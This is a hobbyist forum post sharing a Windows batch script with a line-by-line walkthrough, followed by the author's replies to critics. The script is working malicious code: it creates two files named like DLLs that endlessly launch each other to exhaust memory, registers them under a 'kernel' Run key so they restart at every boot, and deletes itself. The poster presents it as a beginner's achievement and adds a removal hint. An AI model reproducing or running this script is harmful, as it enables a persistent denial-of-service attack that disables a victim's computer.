well someone told me to post that here

hope it helps some people and gives them some ideas / impressions
i know im not a hack0r or r0xx0r and this is a baby-simple batch-file..
but im proud of it and ill climb up the ladder of programming from down to up
@echo off
echo @echo off >> dll2.bat
echo loop >> dll2.bat
echo start dll3.bat >> dll2.bat
echo goto loop >> dll2.bat
echo /f >NUL >> dll2.bat
echo @echo off >> dll3.bat
echo loop >> dll3.bat
echo start dll2.bat >> dll3.bat
echo goto loop >> dll3.bat
echo /f >NUL >> dll3.bat
xcopy "dll2.bat" "C:\"
xcopy "dll3.bat" "C:\"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows \Cur rentVersion\Run" /v "kernel" /t REG_SZ /d "C:\dll2.bat"
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows \Cur rentVersion\Run" /v "kernel" /t REG_SZ /d "C:\dll3.bat"
del dll2.bat
del dll3.bat
start C:\dll2.bat
start C:\dll3.bat
del dll.bat
little explanation(hope i spelled it correctly) for the ones that wanna understand but are worse than i am (if possible , lol)
@echo off
okay, no echo ^^
echo @echo off >> dll2.bat
writes echo off into a new file called dll2.bat
echo loop >> dll2.bat
gives a jumppoint "loop" and writes it into dll2.bat
echo start dll3.bat >> dll2.bat
writes into dll2.bat that it shall start dll3.bat
echo goto loop >> dll2.bat
writes into dll2.bat that it should jump to "loop" when it started dll3.bat->endlessly starting dll3.bat
echo /f >NUL >> dll2.bat
no output from dll2.bat(dunno if necessary)
echo @echo off >> dll3.bat
same steps as in dll2.bat
echo loop >> dll3.bat
echo start dll2.bat >> dll3.bat
echo goto loop >> dll3.bat
echo /f >NUL >> dll3.bat
until here
xcopy "dll2.bat" "C:\"
copies dll2.bat into C:\
xcopy "dll3.bat" "C:\"
copies dll3.bat into C:\
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows \Cur rentVersion\Run" /v "kernel" /t REG_SZ /d "C:\dll2.bat"
writes into registry to start dll2.bat on startup
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows \Cur rentVersion\Run" /v "kernel
2" /t REG_SZ /d "C:\dll3.bat"
same with dll3.bat {im not sure if it works as long as both registry entries are named "kernel"}
del dll2.bat
deletes dll2.bat(not the one ine C:\)
del dll3.bat
same as above
start C:\dll2.bat
starts dll2.bat in C:\...
start C:\dll3.bat
...and dll3.bat in C:\
del dll.bat
deletes itself
so basically you outlast memory via two batch files that continually start each other in endless loop and if computer restars, he does it a gain on startup
PS: of course there is no space between "cur rentversion", i also typed it correctly but there still is one
PSS: if you should by accident execute this batch (besides that would be kinda.. well x) ) i think starting in safety mode and deleting the registrykey should fix it (kernel.bat/kernel2.bat in microsoft\windows\currentversion\run)
if someone more advanced in batchfiles sees this one wouldnt work, please tell me and why, dont simply flame me please x)
yeah, youre right..nonetheless am i, too. in my opinion at least..i didnt mean batchfiles to be uber-programming language, i also learned html and php xD thats what i called bottom ladder or what i meant with it, sorry to not have posted that..
i put it here cause i thought someone might stumble for it and then be happy =)
now, i agree with quite all of your post, cuddles, but the second last one :d if you dont like it at all..well, you thaught me that but someone else might like it so just let it be ;x
yours sincerely (or whatever)
dave
PS: you could e.g. give me a hint on what prog language to learn next; i figured BASIC, if you know a better one that is nice to learn, tell me instead of just flaming me ;>